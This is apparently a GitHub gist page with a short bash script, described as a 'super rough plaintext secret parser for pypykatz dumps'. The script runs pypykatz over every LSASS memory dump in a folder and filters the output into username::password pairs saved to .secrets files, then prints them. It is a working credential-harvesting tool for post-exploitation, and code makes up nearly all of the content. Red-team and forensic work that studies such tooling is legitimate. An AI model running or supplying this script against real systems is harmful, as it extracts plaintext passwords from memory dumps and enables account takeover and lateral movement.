-
-
Save TheWover/58345b4fba54af2e97a8dd80258460ba to your computer and use it in GitHub Desktop.
super rough plaintext secret parser for pypykatz dumps
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # prereqs: pypykatz, all the dumps in current working dir | |
| ext='.dmp' | |
| for i in *$ext; do | |
| txtfile=${i::-3}txt | |
| secrets=${i::-3}secrets | |
| pypykatz lsa minidump $i -o $txtfile; | |
| grep 'password' $txtfile -B 2 | grep -v 'None' | grep 'password' -B 1 | sed -e "s#--##g" | sed '/^$/d' | sed '$!N;s/\n/ /' | sed 's/username //g' | sed 's/password /::/g' | tr -d '[:blank:]' | sort -u > $secrets | |
| done | |
| # deletes empty secrets files | |
| find ./*.secrets -type f -empty -delete | |
| # shows output at end, with filename | |
| grep . *.secrets |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment